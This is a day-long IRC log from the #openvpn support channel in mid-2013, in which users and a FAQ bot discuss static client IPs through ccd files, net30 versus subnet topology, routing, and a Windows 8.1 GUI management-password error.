01:08 -!- C-S-B [~C-S-B@host81-159-157-214.range81-159.btcentralplus.com] has joined #openvpn
02:21 -!- Devastator [~devas@unaffiliated/devastator] has quit [Read error: No route to host]
02:21 -!- Devastator- [~devas@177.99.154.104] has joined #openvpn
02:22 -!- Devastator- [~devas@177.99.154.104] has quit [Changing host]
02:22 -!- Devastator- [~devas@unaffiliated/devastator] has joined #openvpn
02:23 -!- Devastator- is now known as Devastator
02:30 -!- JAVACODER [~JAVACODER@2.190.45.114] has joined #openvpn
02:31 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
03:46 -!- WormFood [~wormfood@124.68.6.14] has quit [Ping timeout: 252 seconds]
03:46 -!- WormFood [~wormfood@124.68.6.15] has joined #openvpn
04:36 -!- fischli [~fischli@static-31-25-152-181.ewacom.ropa.net] has joined #openvpn
04:49 -!- newbie|3 [~tjz@67.228.240.11-static.reverse.softlayer.com] has quit [Quit: quit irc]
04:49 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
04:57 -!- e-ndy [~e-ndy@fantomas.bestit.cz] has quit [Remote host closed the connection]
05:04 -!- JAVACODER [~JAVACODER@2.190.45.114] has quit [Read error: Connection reset by peer]
05:08 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
05:08 -!- mode/#openvpn [+v s7r] by ChanServ
05:29 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
05:44 -!- ctx144k_ [~andre@p5B342053.dip0.t-ipconnect.de] has joined #openvpn
06:10 -!- p3rror [~p3rror@41.140.40.255] has joined #openvpn
06:28 -!- p3rror [~p3rror@41.140.40.255] has quit [Read error: Operation timed out]
06:42 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Ping timeout: 248 seconds]
07:17 -!- fischli [~fischli@static-31-25-152-181.ewacom.ropa.net] has left #openvpn []
07:36 -!- newbie|3 [~tjz@67.228.240.11-static.reverse.softlayer.com] has joined #openvpn
07:38 -!- tjz [~tjz@unaffiliated/tjz] has quit [Ping timeout: 256 seconds]
08:01 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
08:03 -!- bonjurkes [julia@2a01:7e00::f03c:91ff:feae:bdbf] has joined #openvpn
08:04 < bonjurkes> hello all, what can be the reason for error : could not not read Management password from stdin . I am using win 8.1 with openvpn 2.1.2. It connects fine from command line but on gui it gives this error. The config was working fine on 2.1.1 version on win 8 before
08:06 < bonjurkes> sorry versions are 2.3.2 and 2.3.1 before
08:11 -!- Poster|w [poster@shell.bshellz.net] has quit [Ping timeout: 246 seconds]
08:11 -!- Poster|w [poster@shell.bshellz.net] has joined #openvpn
08:18 < bonjurkes> looks like silly permission error of windows, sorry for headache
08:19 -!- bonjurkes [julia@2a01:7e00::f03c:91ff:feae:bdbf] has quit [Quit: AnacønÐa · "Beauty is only skin deep, ugly goes to the bone"]
08:19 -!- p3rror [~p3rror@41.140.40.255] has joined #openvpn
08:20 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 256 seconds]
08:35 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
08:45 -!- bonjurkes [julia@2a01:7e00::f03c:91ff:feae:bdbf] has joined #openvpn
08:45 < bonjurkes> actually looks like my issues is still going on
08:49 -!- emmanuelux [~emmanuelu@94.23.70.250] has quit [Quit: emmanuelux]
08:50 -!- emmanuelux [~emmanuelu@94.23.70.250] has joined #openvpn
08:51 -!- xTz [~xtz@cpc7-belc7-2-0-cust42.2-1.cable.virginmedia.com] has joined #openvpn
08:52 -!- xTz [~xtz@cpc7-belc7-2-0-cust42.2-1.cable.virginmedia.com] has quit [Client Quit]
08:55 -!- bonjurkes [julia@2a01:7e00::f03c:91ff:feae:bdbf] has quit [Quit: AnacønÐa · "Beauty is only skin deep, ugly goes to the bone"]
08:57 -!- bonjurkes [julia@2a01:7e00::f03c:91ff:feae:bdbf] has joined #openvpn
09:02 -!- stek__ [~stek@95.56.78.72] has joined #openvpn
09:05 -!- stek_ [~stek@92.46.8.173] has quit [Ping timeout: 260 seconds]
09:08 < bonjurkes> so what can be the reason that it prevents to connect vpn server via gui
09:21 -!- peper [~peper@gentoo/developer/peper] has quit [Ping timeout: 248 seconds]
09:22 -!- peper [~peper@gentoo/developer/peper] has joined #openvpn
09:29 -!- p3rror [~p3rror@41.140.40.255] has quit [Ping timeout: 252 seconds]
09:45 < dimm0k> currently i'm able to connect my client to the server...  however computers behind the server can't see the client
09:46 < dimm0k> am i simply missing a route that points the computers to the client's network?
10:13 -!- flo|va-nu-pied [~florent@reverse-230.fdn.fr] has quit [Ping timeout: 245 seconds]
10:14 -!- flo|va-nu-pied [~florent@reverse-230.fdn.fr] has joined #openvpn
10:14 -!- flo|va-nu-pied [~florent@reverse-230.fdn.fr] has quit [Changing host]
10:14 -!- flo|va-nu-pied [~florent@unaffiliated/flovanupied/x-758957] has joined #openvpn
10:35 -!- bonjurkes [julia@2a01:7e00::f03c:91ff:feae:bdbf] has quit [Ping timeout: 252 seconds]
10:37 -!- Trueborn [~Trueborn@rrcs-66-91-141-34.west.biz.rr.com] has quit [Read error: Connection reset by peer]
10:37 -!- Trueborn [~Trueborn@rrcs-66-91-141-34.west.biz.rr.com] has joined #openvpn
10:38 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
10:39 -!- WormFood [~wormfood@124.68.6.15] has quit [Ping timeout: 256 seconds]
10:41 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
10:42 -!- WormFood [~wormfood@58.249.63.180] has joined #openvpn
10:43 -!- JSharpe [~JSharpe@ns237393.ovh.net] has joined #openvpn
10:43 -!- itpings [~stek@92.47.185.135] has joined #openvpn
10:46 -!- stek__ [~stek@95.56.78.72] has quit [Ping timeout: 252 seconds]
10:48 -!- stek_ [~stek@92.46.20.251] has joined #openvpn
10:51 -!- itpings [~stek@92.47.185.135] has quit [Ping timeout: 260 seconds]
10:53 -!- Devastator [~devas@unaffiliated/devastator] has quit []
10:56 -!- itpings [~stek@95.56.79.74] has joined #openvpn
10:57 -!- Devastator [~devas@177.99.154.104] has joined #openvpn
10:57 -!- Devastator [~devas@177.99.154.104] has quit [Changing host]
10:57 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
10:58 -!- stek_ [~stek@92.46.20.251] has quit [Ping timeout: 256 seconds]
10:59 -!- stek__ [~stek@95.56.67.17] has joined #openvpn
11:02 -!- itpings [~stek@95.56.79.74] has quit [Ping timeout: 264 seconds]
11:12 -!- vaillor [~wefefr@151.45.64.39] has joined #openvpn
11:12 < vaillor> !ccd
11:12 <@vpnHelper> "ccd" is (#1) entries that are basically included into server.conf, but only for the specified client based on common-name. use --client-config-dir <dir> to enable it, then put the config options for the client in <dir>/common-name or (#2) the ccd file is parsed each time the client connects.
11:13 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
11:13 < vaillor> !static
11:13 <@vpnHelper> "static" is (#1) use --ifconfig-push in a ccd entry for a static ip for the vpn client or (#2) example in net30 (default): ifconfig-push 10.8.0.6 10.8.0.5 example in subnet (see !topology) or tap (see !tunortap): ifconfig-push 10.8.0.5 255.255.255.0 or (#3) also see !ccd and !iporder or (#4) when pushing static IPs, you should also limit your --ifconfig-pool to exclude the static range
11:35 -!- bonjurkes [julia@2a01:7e00::f03c:91ff:feae:bdbf] has joined #openvpn
11:36 -!- Denial [Denial@90.205.133.229] has joined #openvpn
11:49 < dimm0k> vaillor: how does one determine the correct "common-name"?
11:49 < dimm0k> i have what i believe to be the common name, however it doesn't look like openvpn server is using it
11:50 < vaillor> common name is defined in public key you created
11:57 < dimm0k> vaillor: ok, just making sure...  my ccd file is named as such and i have "ifconfig-push 10.8.1.8 10.8.1.9" but when the client connects, it's not assigned either of those
12:02 -!- darkdrgn2k [~darkdrgn2@69-165-131-20.dsl.teksavvy.com] has quit [Ping timeout: 246 seconds]
12:08 < vaillor> no, in the cofinguration file you need to specify with the directive client-config-dir and name of the directory
12:08 < vaillor> find an howto on internet, it's simple
12:13 -!- emmanuelux [~emmanuelu@94.23.70.250] has quit [Ping timeout: 248 seconds]
12:14 < dimm0k> vaillor: oh crap, thanks for that note!  i had totally forgotten i commented out that section in the config
12:16 < bonjurkes> have anyone tried openvpn on win 8.1
12:26 -!- nutron|w [~nutron@24.67.96.21] has quit [Remote host closed the connection]
12:30 -!- emmanuelux [~emmanuelu@94.23.146.67] has joined #openvpn
12:46 -!- Devastator [~devas@unaffiliated/devastator] has quit []
12:50 -!- Poster|w [poster@shell.bshellz.net] has quit [Ping timeout: 260 seconds]
12:50 -!- Poster|w [poster@shell.bshellz.net] has joined #openvpn
12:50 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 256 seconds]
12:53 -!- Devastator [~devas@177.99.154.104] has joined #openvpn
12:53 -!- Devastator [~devas@177.99.154.104] has quit [Changing host]
12:53 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
12:54 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
13:14 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
13:28 < bonjurkes> hmm
13:28 -!- bonjurkes [julia@2a01:7e00::f03c:91ff:feae:bdbf] has quit [Quit: AnacønÐa · "It's better to be rich and healthy than poor and sick"]
13:28 -!- bonjurkes [julia@2a01:7e00::f03c:91ff:feae:bdbf] has joined #openvpn
13:37 -!- corretico [~luis@186.96.91.236] has joined #openvpn
13:37 -!- emid [~emid@ec2-107-22-8-196.compute-1.amazonaws.com] has quit [Quit: quit]
13:44 -!- emid [~emid@192.241.201.133] has joined #openvpn
13:52 -!- ctx144k [~andre@p5DCC76BB.dip0.t-ipconnect.de] has joined #openvpn
13:54 -!- emid [~emid@192.241.201.133] has quit [Quit: quit]
13:55 -!- ctx144k_ [~andre@p5B342053.dip0.t-ipconnect.de] has quit [Ping timeout: 276 seconds]
13:57 -!- emid [~emid@192.241.201.133] has joined #openvpn
14:09 -!- fischli [~fischli@static-31-25-152-181.ewacom.ropa.net] has joined #openvpn
14:11 -!- fischli [~fischli@static-31-25-152-181.ewacom.ropa.net] has quit [Client Quit]
14:13 -!- xTz [xtz@DeathStar.Techn0.eu] has joined #openvpn
14:29 -!- xTz [xtz@DeathStar.Techn0.eu] has quit [Remote host closed the connection]
14:30 < MaxDamage> bonjurkes
14:30 < MaxDamage> I'm running Windows 8
14:30 < MaxDamage> and openvpn works fine
14:30 < bonjurkes> maxdamage win8 or win8.1
14:30 < MaxDamage> What's 8.1?
14:30 < MaxDamage> lol
14:30 < bonjurkes> win 8.1 preview lol
14:30 < MaxDamage> my kernel is 6.2.9200
14:30 < MaxDamage> oh
14:31 < MaxDamage> Nope, :>
14:31 < MaxDamage> What's the issue anyway?
14:31 < bonjurkes> gui is having some weird problems
14:31 < MaxDamage> oh
14:31 < MaxDamage> no wonder :>
14:31 < bonjurkes> like nothing appears on gui log screen but view logs show some error
14:32 < MaxDamage> hmm
14:32 < MaxDamage> Seems like it's a Win8.1 issue
14:32 < MaxDamage> It does work with console, right?
14:32 -!- xTz [xtz@DeathStar.Techn0.eu] has joined #openvpn
14:32 -!- jefferai [~quassel@kde/mitchell] has joined #openvpn
14:33 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 248 seconds]
14:33 -!- pa [~pa@unaffiliated/pa] has quit [Ping timeout: 248 seconds]
14:33 < bonjurkes> yes
14:33 < bonjurkes> one second
14:33 < bonjurkes> some error abou management password error
14:34 < bonjurkes> tried 3.1.2 the newest one, and tried 3.1.1 also. Sometimes it shows output and connects over gui. Sometimes messing with service works
14:34 < bonjurkes> but sometimes it just gives error
14:34 < bonjurkes> Error: could not not read management password from stdin
14:47 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
14:50 -!- Devastator [~devas@unaffiliated/devastator] has quit []
15:07 -!- Devastator [~devas@177.99.154.104] has joined #openvpn
15:07 -!- Devastator [~devas@177.99.154.104] has quit [Changing host]
15:07 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
15:12 -!- bonjurkes [julia@2a01:7e00::f03c:91ff:feae:bdbf] has quit [Quit: AnacønÐa · "If nobody uses it, there's a reason"]
15:31 -!- iliv [~iliv@178.137.25.199] has quit [Ping timeout: 264 seconds]
15:42 -!- CharlieRW [~CharlieRW@188.40.203.140] has joined #openvpn
15:42 < CharlieRW> hello
15:42 < CharlieRW> looking to hire someone for help with OpenVPN server set-up
15:43 < Aketzu_> why not just buy the application server version?
15:44 < Aketzu_> access server
15:45 < CharlieRW> looking into it thanks
15:46 < CharlieRW> I would still need help setting it up
15:47 < CharlieRW> I would rather have somone that knows what they are doing just set it up for me then spending a bunch of time trying to figure everything out
15:47 < Aketzu_> what do you want to tunnel?
15:48 < CharlieRW> what do you mean?
15:48 < CharlieRW> looking to send all my computer traffic through the VPN
15:49 < CharlieRW> right now using strongVPN but would like an IP in Poland
15:49 < Aketzu_> do you have machine/tunnel provider in poland?
15:51 < CharlieRW> I have an edis VPS i have been messing around with
15:52 < CharlieRW> but not really set on anything and assume the person setting it up would be able to help pick a server
15:54 < kisom> CharlieRW: Lucky for you, there's a bunch of tutorials on the OpenVPN website
15:55 < CharlieRW> yeah I realize that but I am hoping someone would be willing to make some $$ to save me time
16:03 < kisom> CharlieRW: Get OpenVPN-as instead, the two first licenses are free for a lifetime.
16:04 < CharlieRW> I still would need help installing it / setting it up / picking a server
16:13 < CharlieRW> silence haha... don't see how people are so unwilling to get paid to help out
16:15 < jefferai> CharlieRW: The devil is in the details
16:15 -!- stek_ [~stek@92.47.217.239] has joined #openvpn
16:16 < lamba> the CN on the client certs is meant to be an fqdn right ?
16:18 -!- Cultist [~Cultist@c-71-194-185-109.hsd1.il.comcast.net] has quit [Read error: Connection reset by peer]
16:19 -!- Cultist [~Cultist@c-71-194-185-109.hsd1.il.comcast.net] has joined #openvpn
16:19 -!- stek__ [~stek@95.56.67.17] has quit [Ping timeout: 256 seconds]
16:24 -!- Denial [Denial@90.205.133.229] has quit []
16:24 -!- Cultist [~Cultist@c-71-194-185-109.hsd1.il.comcast.net] has quit [Read error: Connection reset by peer]
16:24 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:24 -!- emmanuelux [~emmanuelu@94.23.146.67] has quit [Ping timeout: 256 seconds]
16:25 -!- Cultist [~Cultist@c-71-194-185-109.hsd1.il.comcast.net] has joined #openvpn
16:27 < emid> traffic betweeen vpn clients will be routed via the openvpn server, like a hub and spoke correct?
16:27 < emid> if client-to-client is setup.
16:30 < lamba> yeah
16:33 -!- Devastator [~devas@unaffiliated/devastator] has quit []
16:34 -!- CharlieRW [~CharlieRW@188.40.203.140] has quit []
16:37 -!- emmanuelux [~emmanuelu@192.123.25.109.rev.sfr.net] has joined #openvpn
16:47 -!- Devastator [~devas@177.99.154.104] has joined #openvpn
16:47 -!- Devastator [~devas@177.99.154.104] has quit [Changing host]
16:47 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
16:52 < lamba> after making certs with easy-rsa, are the 01.pem 02.pem etc needed, or the .csr files ? - about the remove them.
16:52 < MaxDamage> lamba, the csr files aren't needed
16:52 < MaxDamage> really no idea what they're for, though, so i might be wrong
16:53 < MaxDamage> you need the keys and certs
16:53 < MaxDamage> and the dh pem
16:53 < MaxDamage> i think
16:53 < MaxDamage> !howto
16:53 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
16:53 < MaxDamage> enjoy :>
17:11 < lamba> certificate signing request files. they're used if you want to get a third party like verisign to sign the cert, rather than yourself.
17:11 < lamba> just didnt know what they do after the file is made. apparently nothing ;-)
17:12 < lamba> the other thing that's weird, if i "./build-key revoke-test" then "./revoke-all revoke-test" my crl.pem file contains a revoke for a different cert, not revoke-test.
17:13 -!- corretico [~luis@186.96.91.236] has quit [Read error: Connection reset by peer]
17:13 -!- emmanuelux [~emmanuelu@192.123.25.109.rev.sfr.net] has quit [Read error: Operation timed out]
17:20 -!- master_of_master [~master_of@p4FD7B8AD.dip0.t-ipconnect.de] has joined #openvpn
17:24 -!- master_o1_master [~master_of@p4FD7BB47.dip0.t-ipconnect.de] has quit [Ping timeout: 268 seconds]
17:29 -!- emmanuelux [~emmanuelu@94.23.146.67] has joined #openvpn
17:48 -!- corretico [~luis@186.96.91.236] has joined #openvpn
17:50 -!- corretico [~luis@186.96.91.236] has quit [Max SendQ exceeded]
17:51 -!- corretico [~luis@186.96.91.236] has joined #openvpn
17:52 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
17:53 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 264 seconds]
17:56 -!- kplong [~klong@c-50-135-252-126.hsd1.wa.comcast.net] has quit []
18:13 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
18:22 -!- jd [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
18:23 -!- jd is now known as Guest55296
18:23 -!- Poster|x [~poster@cpe-173-88-34-118.columbus.res.rr.com] has joined #openvpn
18:24 < dimm0k> currently i'm able to connect my client to the server...  however computers behind the server can't see the client
18:24 < dimm0k> am i simply missing a route that points the computers to the client's network?
18:25 < dimm0k> my server.conf is http://www.pasteall.org/43663
18:26 -!- Poster [~poster@cpe-173-88-34-118.columbus.res.rr.com] has quit [Ping timeout: 246 seconds]
18:26 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Ping timeout: 246 seconds]
18:26 -!- trumee [~parul@93.186.144.251] has quit [Ping timeout: 246 seconds]
18:28 < dimm0k> my ccd dir has the common named file for the client with two lines, 'ifconfig-push 10.8.1.40 10.8.1.1' and 'iroute 192.168.25.0 255.255.255.0"
18:28 -!- trumee [~parul@93.186.144.251] has joined #openvpn
18:33 -!- dxtr [~dxtr@gateway/tor-sasl/dxtr] has quit [Quit: leaving]
18:35 -!- s7r [~s7r@openvpn/user/s7r] has left #openvpn []
18:42 -!- ferai [~quassel@kde/mitchell] has joined #openvpn
18:43 -!- jefferai [~quassel@kde/mitchell] has quit [Ping timeout: 276 seconds]
18:44 -!- corretico [~luis@186.96.91.236] has quit [Read error: Connection reset by peer]
18:46 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Remote host closed the connection]
18:58 -!- Devastator [~devas@177.99.154.104] has joined #openvpn
18:58 -!- Devastator [~devas@177.99.154.104] has quit [Changing host]
18:58 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
19:00 -!- liriel [~liriel@aphrodite.feralhosting.com] has quit [Ping timeout: 245 seconds]
19:01 -!- liriel [~liriel@aphrodite.feralhosting.com] has joined #openvpn
19:10 -!- krapper [krapper@territory.krapper.net] has joined #openvpn
19:11 -!- krapper [krapper@territory.krapper.net] has left #openvpn []
19:12 -!- krapper [krapper@territory.krapper.net] has joined #openvpn
19:12 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
19:12 -!- krapper [krapper@territory.krapper.net] has quit [Client Quit]
19:13 -!- krapper [krapper@territory.krapper.net] has joined #openvpn
19:21 < emmanuelux> hello
19:23 < krapper> if configuring a site-to-site bridged VPN between two DD-WRT routers, would i still be able to use an OpenVPN client on a stand-alone PC to connect?
19:23 < emmanuelux> i'd like to auto change of openvpn server when one is down, i have used --ping-exit 120 option but i openvpn doesnt quit and retry again and again the same server
19:24 < emmanuelux> i have tried these options : --up-delay --resolv-retry 2 --connect-retry-max 2 --ping 15 --ping-exit 120
19:24 < emmanuelux> but doesnt work
19:26 -!- Guest65292 [~wefefr@adsl-ull-39-64.45-151.net24.it] has joined #openvpn
19:26 -!- vaillor [~wefefr@151.45.64.39] has quit [Read error: Connection reset by peer]
19:31 < dimm0k> if the client can ping the server via eth0, but not tun0, what am i missing?
19:39 -!- vaillor [~wefefr@adsl-ull-39-64.45-151.net24.it] has joined #openvpn
19:39 -!- Guest65292 [~wefefr@adsl-ull-39-64.45-151.net24.it] has quit [Read error: Connection reset by peer]
19:39 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Remote host closed the connection]
19:41 -!- Guest65292 [~wefefr@adsl-ull-39-64.45-151.net24.it] has joined #openvpn
19:41 -!- vaillor [~wefefr@adsl-ull-39-64.45-151.net24.it] has quit [Read error: Connection reset by peer]
19:57 -!- ctx144k [~andre@p5DCC76BB.dip0.t-ipconnect.de] has quit [Ping timeout: 256 seconds]
19:59 -!- emmanuel__ [~emmanuelu@192.123.25.109.rev.sfr.net] has joined #openvpn
20:01 -!- emmanuelux [~emmanuelu@94.23.146.67] has quit [Ping timeout: 268 seconds]
20:04 -!- Guest55296 [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has left #openvpn []
20:16 -!- Guest65292 [~wefefr@adsl-ull-39-64.45-151.net24.it] has quit []
20:16 -!- dxtr [~dxtr@gateway/tor-sasl/dxtr] has joined #openvpn
20:27 -!- emmanuel__ [~emmanuelu@192.123.25.109.rev.sfr.net] has quit [Remote host closed the connection]
20:41 -!- Devastator [~devas@unaffiliated/devastator] has quit [Read error: No route to host]
20:55 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
21:00 -!- corretico [~luis@186.96.91.236] has joined #openvpn
21:02 -!- corretico [~luis@186.96.91.236] has quit [Max SendQ exceeded]
21:08 -!- Neal_ [~neal@felix.ineal.me] has left #openvpn ["Textual IRC Client: www.textualapp.com"]
21:14 < krapper> using openvpn via DD-WRT, bridge is successfully established... can't ping remote resources unless i add route at local machine... what am i missing so that's not required?
21:20 -!- corretico [~luis@186.96.91.236] has joined #openvpn
21:21 -!- corretico [~luis@186.96.91.236] has quit [Read error: Connection reset by peer]
21:24 < dimm0k> is it "normal" that the server can't reach the client via eth0, in other words the client's LAN IP address?
21:36 < kisom> dimm0k: No.
21:37 < kisom> And that's a stupid question.
21:40 -!- stek_ [~stek@92.47.217.239] has quit [Quit: Leaving]
21:41 < ShapeShifter499> hi
21:43 < ShapeShifter499> OpenVPN is just as secure as SSH?
21:48 < dimm0k> kisom: then what am i missing?  i can ping the client from the server via tun0, but not eth0
22:01 -!- Dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:01 -!- Dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:07 < pekster> ShapeShifter499: They use slightly different security models, but many of the same features (including forward-secrecy, the ability to use PKI, etc)
22:11 < dimm0k> having some difficulty getting openvpn to assign clients a specific IP...
22:11 < pekster> !static
22:11 <@vpnHelper> "static" is (#1) use --ifconfig-push in a ccd entry for a static ip for the vpn client or (#2) example in net30 (default): ifconfig-push 10.8.0.6 10.8.0.5 example in subnet (see !topology) or tap (see !tunortap): ifconfig-push 10.8.0.5 255.255.255.0 or (#3) also see !ccd and !iporder or (#4) when pushing static IPs, you should also limit your --ifconfig-pool to exclude the static range
22:12 < dimm0k> pekster: my ccd file looks to be correct...  ifconfig-push 10.8.1.44 10.8.1.43
22:13 < dimm0k> using tun...
22:14 < dimm0k> permissions on the ccd file is 644, while the ccd directory is 755
22:17 < pekster> What topology are you using?
22:17 < ShapeShifter499> I have a problem with my OpenVPN, when my iPhone goes to sleep then I wake it up I expect it to reconnect but it doesn't, why?
22:17 < pekster> Unless you're using p2p, that's not valid; you must pick IPs in the middle of a /30; the IPs you used are now
22:17 < pekster> not*
22:18 < dimm0k> !tunortap
22:18 <@vpnHelper> "tunortap" is (#1) you ONLY want tap if you need to pass layer2 traffic over the vpn (traffic destined for a MAC address). If you are using IP traffic you want tun. Dont waste the extra overhead. or (#2) and if your reason for wanting tap is windows shares, see !wins or (#3) also remember that if someone gets access to any side of a tap vpn they can use layer2 attacks like arp poisoning against you
22:18 <@vpnHelper> over the vpn or (#4) lan gaming? use tap! or (#5) Normal Android/iOS devices (not rooted/jailbroken) support only tun.
22:18 < dimm0k> pekster: i'm using tun
22:18 < pekster> That's not what I said
22:18 < pekster> !topology
22:18 <@vpnHelper> "topology" is (#1) it is possible to avoid the !/30 behavior if you use 2.1+ with the option: topology subnet This will end up being default in later versions. or (#2) Clients will receive addresses ending in .2, .3, .4, etc, instead of being divided into 2-host subnets. or (#3) See http://osdir.com/ml/network.openvpn.devel/2005-09/msg00020.html for more history on this.
22:19 < pekster> If you're using net30 (the default) then you are *not* allowed to use the IPs you listed
22:19 < pekster> Pick IPs in the middle of a /30, or don't use net30 (why are you using it if you don't have a need to support Windows hosts using <=2.0.9, a 6+ year old version of openvpn?)
22:23 < dimm0k> pekster: you dont happen to have documention on what /30 means?
22:26 < pekster> A network with a netmask of 255.255.255.252
22:26 < pekster> !cidr
22:26 <@vpnHelper> "cidr" is http://www.oav.net/mirrors/cidr.html
22:26 < pekster> !net30
22:26 <@vpnHelper> "net30" is "/30" is (#1) http://openvpn.net/index.php/documentation/faq.html#slash30 explains why routed clients each use 4 ips, or (#2) you can avoid this behavior with by reading !topology
22:26 < pekster> Oh, I meant this one:
22:26 < pekster> !/30
22:26 <@vpnHelper> "/30" is (#1) Default behaviour assigns a /30 subnet(4 addresses) to each peer. See http://goo.gl/6vemm for background or (#2) you can avoid this behavior by reading !topology or (#3) by default, first client is .6, then .10 .14 .18 etc or (#4) use openvpn --show-valid-subnets to see the subnets you can use in net30 or (#5) tl;dr Windows sucks, use --topology subnet in your server.conf
22:27 < pekster> (CIDR is one of those standards you should be familiar with in networking since it's been in use for around 2-decades now)
22:30 < dimm0k> pekster: thanks, this is good info!
22:42 < dimm0k> pekster: ok, so i've changed my ccd to be 'ifconfig-push 10.8.1.25 10.8.1.26' but i'm still assigned 10.8.1.6
22:44 < dimm0k> also tried 'ifconfig-push 10.8.1.26 10.8.1.26' with the same result
22:54 < pekster> That's also not valid
22:54 < pekster> When assigning any form of a PtP interface, you may not use the same IP on both ends
22:55 < pekster> In the 'p2p topology, you may use *any* 2 IPs (they need-not even be adjacent, though they should be for clarity.) In net30 topology you *must* use the center 2 addresses from a /30
22:56 < pekster> Better yet is to use the subnet topology like !/30 told you to do, that way you just assign an IP+netmask like it was "any other interface"
23:05 -!- krapper [krapper@territory.krapper.net] has quit [Quit: Caught sigterm, terminating...]
23:05 -!- krapper [krapper@territory.krapper.net] has joined #openvpn
23:13 -!- cj [~cjac@2607:ff08:f5:3a::3] has quit [Ping timeout: 260 seconds]
23:19 -!- emid [~emid@192.241.201.133] has quit [Ping timeout: 248 seconds]
23:21 -!- Kalavera [~Kalavera@aquiles.novelix.com.pe] has joined #openvpn
23:22 < Kalavera> hey guys I am having some issues with a client that is trying to connect to the vpn it give us this message : Sun Jun 30 23:20:18 2013 MULTI: new connection by client 'xxxx' will cause previous active sessions by this client to be dropped.  Remember to use the --duplicate-cn option if you want multiple clients using the same certificate or username to concurrently connect.
23:22 < Kalavera> how do I configure --duplicate-cn into the openvpn.conf file?
23:33 -!- emid [~emid@192.241.201.133] has joined #openvpn
23:42 < dimm0k> pekster: crap, i had ''ifconfig-push 10.8.1.25 10.8.1.26'...  mistyped it when i put it here...
23:44 -!- JSharpe [~JSharpe@ns237393.ovh.net] has quit [Ping timeout: 256 seconds]
23:59 -!- emid [~emid@192.241.201.133] has quit [Ping timeout: 256 seconds]
23:59 -!- emid [~emid@192.241.201.133] has joined #openvpn
--- Day changed Mon Jul 01 2013
00:07 < Kalavera> dimm0k: why not to use topology subnet
00:08 < dimm0k> Kalavera: i wanted to stay with "defaults"...
00:08 < dimm0k> but i was just about to give topology subnet a try to see if that works
00:09 < Kalavera> well it works for me
00:09 < Kalavera> just curious , smiles thank you for the answer
00:11 < dimm0k> blah, still no go!
00:12 < dimm0k> "topology subnet", ccd file has "ifconfig-push 10.8.1.34 255.255.255.0"
00:12 < dimm0k> connecting client gets 10.8.1.2
00:23 -!- itpings [~itpings@89.218.38.200] has joined #openvpn
00:26 -!- iliv [~iliv@178.137.25.199] has joined #openvpn
00:34 < pekster> dimm0k: Sounds like your ccd file doesn't match the exact CN of your client
00:35 < pekster> Note that this file *is* case-sensitive (at least on filesytems with case-sensitive names)
00:35 < itpings> hey guys how u doin
01:08 -!- monk [~aknm@196.14.139.96] has joined #openvpn
01:08 -!- monk [~aknm@196.14.139.96] has quit [Changing host]
01:08 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
01:13 -!- emid [~emid@192.241.201.133] has quit [Ping timeout: 246 seconds]
01:14 -!- emid [~emid@192.241.201.133] has joined #openvpn
02:03 -!- fischli [~fischli@data.fischer-ing.de] has joined #openvpn
02:11 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
02:15 -!- dazo_afk is now known as dazo
02:18 -!- ctx144k [~andre@p5B3400CB.dip0.t-ipconnect.de] has joined #openvpn
02:24 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
02:26 -!- monk [~aknm@unaffiliated/aknm] has quit [Quit: Leaving]
02:26 -!- monk [~aknm@196.14.139.96] has joined #openvpn
02:26 -!- monk [~aknm@196.14.139.96] has quit [Changing host]
02:26 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
02:40 -!- Mcloven_ [~Mcloven@ppp203-122-218-215.static.internode.on.net] has joined #openvpn
02:41 -!- n2deep [n2deep@odin.sdf-eu.org] has quit [Ping timeout: 248 seconds]
02:41 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has quit [Ping timeout: 268 seconds]
